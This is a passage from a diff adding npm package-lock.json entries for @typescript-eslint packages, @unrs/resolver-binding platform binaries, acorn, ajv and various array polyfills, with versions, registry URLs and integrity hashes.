"@typescript-eslint/visitor-keys": "8.56.1", + "ignore": "^7.0.5", + "natural-compare": "^1.4.0", + "ts-api-utils": "^2.4.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "@typescript-eslint/parser": "^8.56.1", + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/eslint-plugin/node_modules/ignore": { + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz", + "integrity": "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/@typescript-eslint/parser": { + "version": "8.56.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.56.1.tgz", + "integrity": "sha512-klQbnPAAiGYFyI02+znpBRLyjL4/BrBd0nyWkdC0s/6xFLkXYQ8OoRrSkqacS1ddVxf/LDyODIKbQ5TgKAf/Fg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/scope-manager": "8.56.1", + "@typescript-eslint/types": "8.56.1", + "@typescript-eslint/typescript-estree": "8.56.1", + "@typescript-eslint/visitor-keys": "8.56.1", + "debug": "^4.4.3" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/project-service": { + "version": "8.56.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.56.1.tgz", + "integrity": "sha512-TAdqQTzHNNvlVFfR+hu2PDJrURiwKsUvxFn1M0h95BB8ah5jejas08jUWG4dBA68jDMI988IvtfdAI53JzEHOQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/tsconfig-utils": "^8.56.1", + "@typescript-eslint/types": "^8.56.1", + "debug": "^4.4.3" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/scope-manager": { + "version": "8.56.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.56.1.tgz", + "integrity": "sha512-YAi4VDKcIZp0O4tz/haYKhmIDZFEUPOreKbfdAN3SzUDMcPhJ8QI99xQXqX+HoUVq8cs85eRKnD+rne2UAnj2w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.56.1", + "@typescript-eslint/visitor-keys": "8.56.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/tsconfig-utils": { + "version": "8.56.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.56.1.tgz", + "integrity": "sha512-qOtCYzKEeyr3aR9f28mPJqBty7+DBqsdd63eO0yyDwc6vgThj2UjWfJIcsFeSucYydqcuudMOprZ+x1SpF3ZuQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/type-utils": { + "version": "8.56.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.56.1.tgz", + "integrity": "sha512-yB/7dxi7MgTtGhZdaHCemf7PuwrHMenHjmzgUW1aJpO+bBU43OycnM3Wn+DdvDO/8zzA9HlhaJ0AUGuvri4oGg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.56.1", + "@typescript-eslint/typescript-estree": "8.56.1", + "@typescript-eslint/utils": "8.56.1", + "debug": "^4.4.3", + "ts-api-utils": "^2.4.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/types": { + "version": "8.56.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.56.1.tgz", + "integrity": "sha512-dbMkdIUkIkchgGDIv7KLUpa0Mda4IYjo4IAMJUZ+3xNoUXxMsk9YtKpTHSChRS85o+H9ftm51gsK1dZReY9CVw==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/typescript-estree": { + "version": "8.56.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.56.1.tgz", + "integrity": "sha512-qzUL1qgalIvKWAf9C1HpvBjif+Vm6rcT5wZd4VoMb9+Km3iS3Cv9DY6dMRMDtPnwRAFyAi7YXJpTIEXLvdfPxg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/project-service": "8.56.1", + "@typescript-eslint/tsconfig-utils": "8.56.1", + "@typescript-eslint/types": "8.56.1", + "@typescript-eslint/visitor-keys": "8.56.1", + "debug": "^4.4.3", + "minimatch": "^10.2.2", + "semver": "^7.7.3", + "tinyglobby": "^0.2.15", + "ts-api-utils": "^2.4.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/balanced-match": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", + "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.4.tgz", + "integrity": "sha512-h+DEnpVvxmfVefa4jFbCf5HdH5YMDXRsmKflpf1pILZWRFlTbJpxeU55nJl4Smt5HQaGzg1o6RHFPJaOqnmBDg==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^4.0.2" + }, + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": { + "version": "10.2.4", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.4.tgz", + "integrity": "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "brace-expansion": "^5.0.2" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/@typescript-eslint/utils": { + "version": "8.56.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.56.1.tgz", + "integrity": "sha512-HPAVNIME3tABJ61siYlHzSWCGtOoeP2RTIaHXFMPqjrQKCGB9OgUVdiNgH7TJS2JNIQ5qQ4RsAUDuGaGme/KOA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/eslint-utils": "^4.9.1", + "@typescript-eslint/scope-manager": "8.56.1", + "@typescript-eslint/types": "8.56.1", + "@typescript-eslint/typescript-estree": "8.56.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/visitor-keys": { + "version": "8.56.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.56.1.tgz", + "integrity": "sha512-KiROIzYdEV85YygXw6BI/Dx4fnBlFQu6Mq4QE4MOH9fFnhohw6wX/OAvDY2/C+ut0I3RSPKenvZJIVYqJNkhEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.56.1", + "eslint-visitor-keys": "^5.0.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/visitor-keys/node_modules/eslint-visitor-keys": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", + "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@ungap/structured-clone": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.0.tgz", + "integrity": "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==", + "dev": true, + "license": "ISC" + }, + "node_modules/@unrs/resolver-binding-android-arm-eabi": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-android-arm-eabi/-/resolver-binding-android-arm-eabi-1.11.1.tgz", + "integrity": "sha512-ppLRUgHVaGRWUx0R0Ut06Mjo9gBaBkg3v/8AxusGLhsIotbBLuRk51rAzqLC8gq6NyyAojEXglNjzf6R948DNw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@unrs/resolver-binding-android-arm64": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-android-arm64/-/resolver-binding-android-arm64-1.11.1.tgz", + "integrity": "sha512-lCxkVtb4wp1v+EoN+HjIG9cIIzPkX5OtM03pQYkG+U5O/wL53LC4QbIeazgiKqluGeVEeBlZahHalCaBvU1a2g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@unrs/resolver-binding-darwin-arm64": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-darwin-arm64/-/resolver-binding-darwin-arm64-1.11.1.tgz", + "integrity": "sha512-gPVA1UjRu1Y/IsB/dQEsp2V1pm44Of6+LWvbLc9SDk1c2KhhDRDBUkQCYVWe6f26uJb3fOK8saWMgtX8IrMk3g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@unrs/resolver-binding-darwin-x64": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-darwin-x64/-/resolver-binding-darwin-x64-1.11.1.tgz", + "integrity": "sha512-cFzP7rWKd3lZaCsDze07QX1SC24lO8mPty9vdP+YVa3MGdVgPmFc59317b2ioXtgCMKGiCLxJ4HQs62oz6GfRQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@unrs/resolver-binding-freebsd-x64": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-freebsd-x64/-/resolver-binding-freebsd-x64-1.11.1.tgz", + "integrity": "sha512-fqtGgak3zX4DCB6PFpsH5+Kmt/8CIi4Bry4rb1ho6Av2QHTREM+47y282Uqiu3ZRF5IQioJQ5qWRV6jduA+iGw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@unrs/resolver-binding-linux-arm-gnueabihf": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm-gnueabihf/-/resolver-binding-linux-arm-gnueabihf-1.11.1.tgz", + "integrity": "sha512-u92mvlcYtp9MRKmP+ZvMmtPN34+/3lMHlyMj7wXJDeXxuM0Vgzz0+PPJNsro1m3IZPYChIkn944wW8TYgGKFHw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-arm-musleabihf": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm-musleabihf/-/resolver-binding-linux-arm-musleabihf-1.11.1.tgz", + "integrity": "sha512-cINaoY2z7LVCrfHkIcmvj7osTOtm6VVT16b5oQdS4beibX2SYBwgYLmqhBjA1t51CarSaBuX5YNsWLjsqfW5Cw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-arm64-gnu": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm64-gnu/-/resolver-binding-linux-arm64-gnu-1.11.1.tgz", + "integrity": "sha512-34gw7PjDGB9JgePJEmhEqBhWvCiiWCuXsL9hYphDF7crW7UgI05gyBAi6MF58uGcMOiOqSJ2ybEeCvHcq0BCmQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-arm64-musl": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm64-musl/-/resolver-binding-linux-arm64-musl-1.11.1.tgz", + "integrity": "sha512-RyMIx6Uf53hhOtJDIamSbTskA99sPHS96wxVE/bJtePJJtpdKGXO1wY90oRdXuYOGOTuqjT8ACccMc4K6QmT3w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-ppc64-gnu": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-ppc64-gnu/-/resolver-binding-linux-ppc64-gnu-1.11.1.tgz", + "integrity": "sha512-D8Vae74A4/a+mZH0FbOkFJL9DSK2R6TFPC9M+jCWYia/q2einCubX10pecpDiTmkJVUH+y8K3BZClycD8nCShA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-riscv64-gnu": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-riscv64-gnu/-/resolver-binding-linux-riscv64-gnu-1.11.1.tgz", + "integrity": "sha512-frxL4OrzOWVVsOc96+V3aqTIQl1O2TjgExV4EKgRY09AJ9leZpEg8Ak9phadbuX0BA4k8U5qtvMSQQGGmaJqcQ==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-riscv64-musl": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-riscv64-musl/-/resolver-binding-linux-riscv64-musl-1.11.1.tgz", + "integrity": "sha512-mJ5vuDaIZ+l/acv01sHoXfpnyrNKOk/3aDoEdLO/Xtn9HuZlDD6jKxHlkN8ZhWyLJsRBxfv9GYM2utQ1SChKew==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-s390x-gnu": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-s390x-gnu/-/resolver-binding-linux-s390x-gnu-1.11.1.tgz", + "integrity": "sha512-kELo8ebBVtb9sA7rMe1Cph4QHreByhaZ2QEADd9NzIQsYNQpt9UkM9iqr2lhGr5afh885d/cB5QeTXSbZHTYPg==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-x64-gnu": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-x64-gnu/-/resolver-binding-linux-x64-gnu-1.11.1.tgz", + "integrity": "sha512-C3ZAHugKgovV5YvAMsxhq0gtXuwESUKc5MhEtjBpLoHPLYM+iuwSj3lflFwK3DPm68660rZ7G8BMcwSro7hD5w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-x64-musl": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-x64-musl/-/resolver-binding-linux-x64-musl-1.11.1.tgz", + "integrity": "sha512-rV0YSoyhK2nZ4vEswT/QwqzqQXw5I6CjoaYMOX0TqBlWhojUf8P94mvI7nuJTeaCkkds3QE4+zS8Ko+GdXuZtA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-wasm32-wasi": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-wasm32-wasi/-/resolver-binding-wasm32-wasi-1.11.1.tgz", + "integrity": "sha512-5u4RkfxJm+Ng7IWgkzi3qrFOvLvQYnPBmjmZQ8+szTK/b31fQCnleNl1GgEt7nIsZRIf5PLhPwT0WM+q45x/UQ==", + "cpu": [ + "wasm32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@napi-rs/wasm-runtime": "^0.2.11" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@unrs/resolver-binding-win32-arm64-msvc": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-arm64-msvc/-/resolver-binding-win32-arm64-msvc-1.11.1.tgz", + "integrity": "sha512-nRcz5Il4ln0kMhfL8S3hLkxI85BXs3o8EYoattsJNdsX4YUU89iOkVn7g0VHSRxFuVMdM4Q1jEpIId1Ihim/Uw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@unrs/resolver-binding-win32-ia32-msvc": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-ia32-msvc/-/resolver-binding-win32-ia32-msvc-1.11.1.tgz", + "integrity": "sha512-DCEI6t5i1NmAZp6pFonpD5m7i6aFrpofcp4LA2i8IIq60Jyo28hamKBxNrZcyOwVOZkgsRp9O2sXWBWP8MnvIQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@unrs/resolver-binding-win32-x64-msvc": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-x64-msvc/-/resolver-binding-win32-x64-msvc-1.11.1.tgz", + "integrity": "sha512-lrW200hZdbfRtztbygyaq/6jP6AKE8qQN2KvPcJ+x7wiD038YtnYtZ82IMNJ69GJibV7bwL3y9FgK+5w/pYt6g==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/acorn": { + "version": "8.16.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz", + "integrity": "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/ajv": { + "version": "6.14.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz", + "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/any-promise": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", + "dev": true, + "license": "MIT" + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "license": "ISC", + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", + "dev": true, + "license": "MIT" + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true, + "license": "Python-2.0" + }, + "node_modules/aria-query": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.2.tgz", + "integrity": "sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/array-buffer-byte-length": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz", + "integrity": "sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "is-array-buffer": "^3.0.5" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array-includes": { + "version": "3.1.9", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.9.tgz", + "integrity": "sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.24.0", + "es-object-atoms": "^1.1.1", + "get-intrinsic": "^1.3.0", + "is-string": "^1.1.1", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.findlast": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/array.prototype.findlast/-/array.prototype.findlast-1.2.5.tgz", + "integrity": "sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.2", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.findlastindex": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.6.tgz", + "integrity": "sha512-F/TKATkzseUExPlfvmwQKGITM3DGTK+vkAsCZoDc5daVygbJBnjEUCbgkAvVFsgfXfX4YIqZ/27G3k3tdXrTxQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.9", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "es-shim-unscopables": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.flat": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.3.tgz", + "integrity": "sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.flatmap": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz", + "integrity": "sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.tosorted": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.4.tgz", + "integrity": "sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.3", + "es-errors": "^1.3.0", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/arraybuffer.prototype.slice": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz", + "integrity": "sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-buffer-byte-length": "^1.0.1", + "call-bind": "^1.0.8", + "define-properties": 